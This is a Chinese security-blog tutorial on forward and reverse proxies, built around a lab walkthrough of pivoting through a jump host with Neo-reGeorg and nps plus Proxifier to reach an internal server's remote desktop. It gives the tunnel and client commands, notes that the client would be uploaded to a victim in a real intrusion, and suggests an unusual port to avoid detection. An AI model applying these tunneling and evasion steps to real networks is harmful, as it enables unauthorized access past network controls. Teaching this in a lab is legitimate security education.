正向代理和反向代理
2021-03-03 15:25:58 Author: www.freebuf.com(查看原文) 阅读量:348 收藏

1.代理

什么是代理?

代理就是一种特殊的网络服务,类似中介,本来a,b想买房子可以直接联系,但是中介的存在,卖家b将买房委托给中介c,买家a只能通过中介c联系卖家b,再由中介转述回买家。

代理的功能:

  • 隐藏真实ip

  • 控制对内部资源的访问

  • 提高访问效率

  • 突破自身ip访问限制

  • 突破内容过滤机制

代理工具

  • proxifier:

    一款强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序通过HTTPS和SOCKS代理。

    使用步骤:1.添加代理的server,配置代理服务器的ip和端口;2.添加代理规则配置需要代理的软件、目标ip、Action(选择第一步配置号的代理Server)

2.正向代理

正向代理,就是用户知道目标服务器地址,但由于网络限制等原因,无法直接访问。这时候需要先连接代理服务器,然后再由代理服务器访问目标服务器。


正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端。

2.1Neo-reGeorg+Proxifier正向代理

环境:

  • win10攻击机:ip:192.168.1.4

  • win7跳板机:ip:192.168.1.187(桥接模式)IP:169.254.122.142(仅主机模式)

  • win 2008:ip:169.254.187.52(仅主机模式)


环境是只有win7可以访问外网和访问内网得win2008,所以通过win7作为代理服务器,win10请求发送到代理服务上win7,然后代理服务win7访问win2008.这样通过win7去取win2008返回得数据,在返回win10.

那么,目的是通过代理让win10远程连接win2008桌面。

在没有卡开启代理的时候,是无法连接远程连接的。


复现过程:

首先,配置Proxifier,添加服务器地址127.0.0.1.端口2222;选择socks 5代理,点击ok


再配置一下规则,选择Targent hosts为1192.168.1.*目标主机。动作Action选择上上面的socks 5的代理。


将Default的动作设置代理socks5。


然后,使用Neo-reGeorg,生成指定密码的代理脚本文件。

python neoreg.py generate -k qq


将tunnel.php文件,通过上传到win7的web应用目录下,通过win10可以访问到。


访问该文件,页面正常,说明能够访问。


然后运行通道的连接:

python neoreg.py -k qq -u http://192.168.1.187/tunnel.php -p 2222


最后,代理服务信道等搭建好了,现在我们尝试远程连接win2008桌面,是否可以成功连接到。



2.2正向代理的用途

  • 1.做缓存,加速访问

  • 对客户端访问授权,进行认证

  • 访问原来无法访问的资源

  • 代理可以记录用户访问记录,做上网行为管理,对外隐藏用户的信息

3.反向代理

反向代理对用户则是不可知的,比如我们访问百度网站,百度的代理服务器对外的域名为 https://www.baidu.com。具体内部的服务器节点我们不知道,现实中我们通过访问百度的代理服务器后,代理服务器给我们转发请求到他们N多的服务器节点中的一个给我们进行搜索后将结果返回。


反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端

3.1nps+Proxifier反向代理

环境:跟上面正向代理的环境一样,目的也是远程连接win2008桌面。

工具下载链接:https://github.com/ehang-io/nps/releases

windows环境中,下载一下客户端和服务端:


nps服务端配置:

步骤1:将解压后的服务端,代开config文件


配置管理页面的登录账号、密码和端口。修改端口号可以为5为复杂些,这样就不会被检测到危险端口。(这里不在配置,默认)


然后,安装并启动nps(第一次使用要安装):


然后,查看nsp.log文件,看到日志开始有记录了。


然后访问本地访问8080端口,使用账号和密码登录。


步骤2:配置客户端信息:新增客户端,填写唯一验证密钥12345


然后设置socks代理:点击新增填写刚新建客户端id6,然后填写后面要代理用的端口5555。


nps客户端配置:

步骤1:在客户端的配置的文件中,vkey的值与服务端唯一验证密钥是一致的!!!


在真实的渗透环境中,客户端通过上传到受害机,也就是这里用到的win7跳板机。(这里是自己搭建环境,直接将客户端到win7上)

然后使用命令npc.exe -server=192.168.1.4:8024 -vkey=12345,启动客户端:


回到服务端,刷新浏览器,客户端连接状态显示在线,说明nps搭建好了。

步骤三:配置Poxifier,增加地址和端口号,并且与nps服务端socks

的代理端口一致。


增加规则:


最后,远程连接win2008桌面:


可以看到流入和流出流量在变动。这样就通反向代理将流量带了出来。

3.2反向代理的用途:

  • 1.负载均衡,通过反向代理服务器来优化网站的负载

  • 保证内网的安全,可以使用反向代理提供WAF功能,组织web攻击

环境搭建中需要注意的:

1.保证win10和win7能够互相访问的,win7和win2008能够互ping通。

2.Proxifier在配置中,规则要选择与socks的端口一致。

3.nps和Neo-reGeorg的运行的命令和配置都要相对应。

4.总结:

正向和反向代理的区别在于代理的对象不同:正向代理的对象是客户端,而反向代理是服务端。



文章来源: https://www.freebuf.com/articles/web/264971.html
如有侵权请联系:admin#unsafe.sh